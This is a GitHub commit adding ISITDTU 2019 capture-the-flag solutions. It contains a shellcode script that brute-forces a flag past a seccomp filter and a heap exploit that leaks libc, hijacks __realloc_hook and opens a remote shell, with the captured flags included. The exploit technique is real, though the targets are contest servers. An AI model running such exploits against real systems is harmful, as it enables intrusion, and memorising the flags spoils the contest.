Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly
Sign up
Appearance settings

Commit efdd7f7

Browse files
committed
add ISITDTU2019
1 parent 8d6026e commit efdd7f7

File tree

11 files changed

+228
-0
lines changed

11 files changed

+228
-0
lines changed
10 KB
Binary file not shown.
178 KB
Binary file not shown.

‎ISITDTU2019_babyshellcode/solve.py‎

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
#!/usr/bin/env python
2+
# -*- coding: utf-8 -*-
3+
4+
from pwn import *
5+
from time import sleep
6+
import string
7+
import sys
8+
context.log_level = "critical"
9+
context.binary = "./babyshellcode"
10+
11+
idx = int(sys.argv[1])
12+
dic = '_}' + string.ascii_lowercase + string.digits
13+
# dic = list(set(string.printable).difference(set(dic)))
14+
# print(dic)
15+
16+
for i in dic:
17+
try:
18+
i = sys.argv[2]
19+
except:
20+
pass
21+
print(i)
22+
# io = process("./babyshellcode")
23+
io = remote("209.97.162.170", 2222)
24+
sc = asm('''
25+
/* cancel alarm*/
26+
mov al, 0x25
27+
syscall
28+
29+
/* get xor value and xor-ed flag*/
30+
mov bl, byte ptr [{IDX_K}]
31+
mov dl, byte ptr [{IDX_F}]
32+
xor bl, dl
33+
34+
/* find flag[i] */
35+
mov al, {BYTE}
36+
37+
loop:
38+
cmp al, bl
39+
je loop
40+
41+
ret
42+
'''.format(BYTE = ord(i), IDX_K = 0xcafe028 + idx % 8, IDX_F = 0xcafe000 + idx))
43+
44+
# gdbcmd = 'bpie 0xD3C\nc\n' + 'si\n' * 19
45+
# gdb.attach(io, gdbcmd)
46+
47+
io.send(sc.ljust(0x46, '\x90'))
48+
49+
try:
50+
io.interactive()
51+
except:
52+
io.close()
53+
if len(sys.argv) > 2:
54+
exit(0)
55+
'''
56+
line CODE JT JF K
57+
=================================
58+
0000: 0x20 0x00 0x00 0x00000004 A = arch
59+
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
60+
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
61+
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
62+
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
63+
0005: 0x15 0x00 0x01 0x00000025 if (A != alarm) goto 0007
64+
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
65+
0007: 0x06 0x00 0x00 0x00000000 return KILL
66+
'''
67+
# ISITDTU{y0ur_sh3llc0d3_Sk!LL_s0_g00000d}

‎ISITDTU2019_iz_heap_lv1/iz_heap_lv1‎

9.91 KB
Binary file not shown.
185 KB
Binary file not shown.

‎ISITDTU2019_iz_heap_lv1/libc.so.6‎

1.94 MB
Binary file not shown.

‎ISITDTU2019_iz_heap_lv1/solve.py‎

Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
#!/usr/bin/env python
2+
# -*- coding: utf-8 -*-
3+
4+
from pwn import *
5+
from time import sleep
6+
context.log_level = "critical"
7+
context.binary = "./iz_heap_lv1"
8+
elf = context.binary
9+
# libc = elf.libc
10+
libc = ELF("./libc.so.6")
11+
libc.sym['main_arena'] = 0x3ebc40
12+
libc.sym['one_gadget'] = 0x10a38c
13+
14+
def add(size, cont):
15+
io.sendlineafter("Choice: \n", "1")
16+
io.sendlineafter("size: ", str(size))
17+
io.sendafter("data: ", cont)
18+
sleep(0.01)
19+
20+
def edit(idx, size, cont):
21+
io.sendlineafter("Choice: \n", "2")
22+
io.sendlineafter("index: ", str(idx))
23+
io.sendlineafter("size: ", str(size))
24+
io.sendafter("data: ", cont)
25+
sleep(0.01)
26+
27+
def delete(idx):
28+
io.sendlineafter("Choice: \n", "3")
29+
io.sendlineafter("index: ", str(idx))
30+
31+
def show(yes = False, name = ''):
32+
io.sendlineafter("Choice: \n", "4")
33+
if yes:
34+
io.sendafter("(Y/N)", "Y")
35+
sleep(0.01)
36+
io.sendafter("name: ", name)
37+
sleep(0.01)
38+
else:
39+
io.sendafter("(Y/N)", "N")
40+
sleep(0.01)
41+
42+
def DEBUG():
43+
gdbcmd = '''
44+
b *0x400A9B
45+
c
46+
'''
47+
gdb.attach(io, gdbcmd)
48+
sleep(0.5)
49+
50+
51+
# io = process("./iz_heap_lv1")
52+
io = remote("165.22.110.249", 3333)
53+
54+
fake_heap = fit({0x0: flat(0, 0x91),
55+
0x90: flat(0, 0x21),
56+
0xb0: flat(0, 0x21)
57+
}, filler = '0円')
58+
io.sendafter("name: ", flat(0x602120, 0) + fake_heap)
59+
sleep(0.01)
60+
61+
for i in xrange(7):
62+
add(0x80, str(i))
63+
for i in xrange(7):
64+
delete(i)
65+
66+
delete(20)
67+
show(True, '0' * 0x20)
68+
libc.address = u64(io.recvuntil("\x7f")[-6: ] + '0円0円') - 96 - libc.sym['main_arena']
69+
print("libc @ {:#x}".format(libc.address))
70+
71+
fake_heap = fit({0x0: flat(0, 0x71),
72+
0x70: flat(0, 0x21),
73+
0xb0: flat(0, 0x21)
74+
}, filler = '0円')
75+
show(True, flat(0x602120, 0) + fake_heap)
76+
delete(20)
77+
78+
show(True, flat(0x602120, 0, 0, 0x71, libc.sym['__realloc_hook']))
79+
80+
add(0x68, flat(libc.sym['__realloc_hook']))
81+
add(0x68, flat(libc.sym['one_gadget'], libc.sym['__libc_realloc'] + 6))
82+
83+
# DEBUG()
84+
io.sendlineafter("Choice: \n", "1")
85+
io.sendlineafter("size: ", str(0))
86+
87+
io.interactive()
88+
89+
'''
90+
root@ss-singapore:~# python solve.py
91+
libc @ 0x7f9208190000
92+
$ cat /home/*/flag
93+
ISITDTU{d800dab9684113a5d6c7d2c0381b48c1553068bc}$
94+
'''

‎ISITDTU2019_iz_heap_lv2/iz_heap_lv2‎

9.91 KB
Binary file not shown.
177 KB
Binary file not shown.

‎ISITDTU2019_iz_heap_lv2/libc.so.6‎

1.94 MB
Binary file not shown.

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /